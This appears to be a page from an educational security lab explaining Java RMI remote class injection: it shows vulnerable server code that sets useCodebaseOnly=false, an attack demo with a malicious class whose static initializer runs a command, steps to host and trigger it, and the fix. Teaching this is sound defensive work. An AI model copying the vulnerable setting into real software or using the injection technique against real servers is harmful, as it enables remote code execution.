Skip to main content

Vulnerability 2: Remote Class Injection (CWE-470)

OWASP A08:2021 — Software and Data Integrity Failures
Severity: Critical — Remote Code Execution


What Is the Vulnerability?

Java RMI has a legacy feature: when the server receives an RMI call with an object whose class it doesn't have locally, it can download the class from a URL provided by the client. This is controlled by the java.rmi.server.useCodebaseOnly property.

When set to false (the vulnerable default in older Java versions), an attacker can:

  1. Host a malicious .class file on an HTTP server they control
  2. Send an RMI call that references this class
  3. The server downloads and instantiates the malicious class
  4. The class's static initializer or constructor executes — achieving RCE

How It's Different from Vulnerability 1

Vulnerability 1 (Deserialization)Vulnerability 2 (Remote Codebase)
MechanismGadget chains in existing classesAttacker uploads entirely new class
PrerequisitesGadget chain library on classpathAttacker has an HTTP server
DefenseObjectInputFilter whitelistuseCodebaseOnly=true
Attack vectorRMI deserializationRMI class loading

They're independent — fixing one doesn't fix the other.

Vulnerable Code

File: vulnerable/src/server/ReplicaNode.java (main method)

// VULNERABILITY 2: useCodebaseOnly=false means the RMI runtime will
// download and instantiate classes from URLs specified by the client.
// This enables Remote Class Injection — the attacker hosts a malicious
// class on their web server and the JVM downloads and executes it.

public static void main(String[] args) {
// Explicitly enable remote class loading
System.setProperty("java.rmi.server.useCodebaseOnly", "false");

// ... rest of server startup
}

Attack Scenario

Attack Demo

# 1. Compile a malicious class
cat > EvilClass.java << 'EOF'
public class EvilClass implements java.io.Serializable {
static {
try {
Runtime.getRuntime().exec("touch /tmp/remote_injection_proof");
} catch (Exception e) {}
}
}
EOF

javac EvilClass.java

# 2. Host it on an HTTP server
python3 -m http.server 8888 &

# 3. With the vulnerable server running (useCodebaseOnly=false),
# send an RMI call that references EvilClass:
java -cp vulnerable/out attacker.Attacker2_RemoteCodebase

# 4. Verify
ls -la /tmp/remote_injection_proof # Created by the server's JVM!

The Fix

File: secured/src/server/ReplicaNode.java (main method)

// FIX 2: Set useCodebaseOnly=true to disable remote class loading.
// The server will only use classes that are on its local classpath.
// Attacker-controlled codebase URLs are ignored entirely.

public static void main(String[] args) {
System.setProperty("java.rmi.server.useCodebaseOnly", "true");
// ... rest of server startup
}

What useCodebaseOnly=true Does

When RMI receives an object whose class isn't locally available, instead of fetching it from a remote URL:

  1. The deserialization fails
  2. A ClassNotFoundException is thrown
  3. The connection is terminated

The attacker's codebase URL is never even looked at.

Modern Java Defaults

info

Since Java 8u121 (January 2017), java.rmi.server.useCodebaseOnly defaults to true. This vulnerability primarily affects:

  • Legacy Java RMI applications deployed on Java 8u101 or earlier
  • Applications that explicitly set this property to false (as our vulnerable version does)
  • Developers who copy-paste old RMI configurations without understanding them

Combined Impact with Vulnerability 1

If both Vulnerability 1 (no deserialization filter) AND Vulnerability 2 (remote class loading) are present:

  1. The attacker doesn't need gadget chains (no need for vulnerable libraries on the classpath)
  2. The attacker can upload EXACTLY the code they want to execute
  3. The attack is 100% reliable — no dependency on specific library versions

This is why fixing both independently is critical. Each is a separate entry point for RCE.


Next: → Vulnerability 3 — Plaintext Transport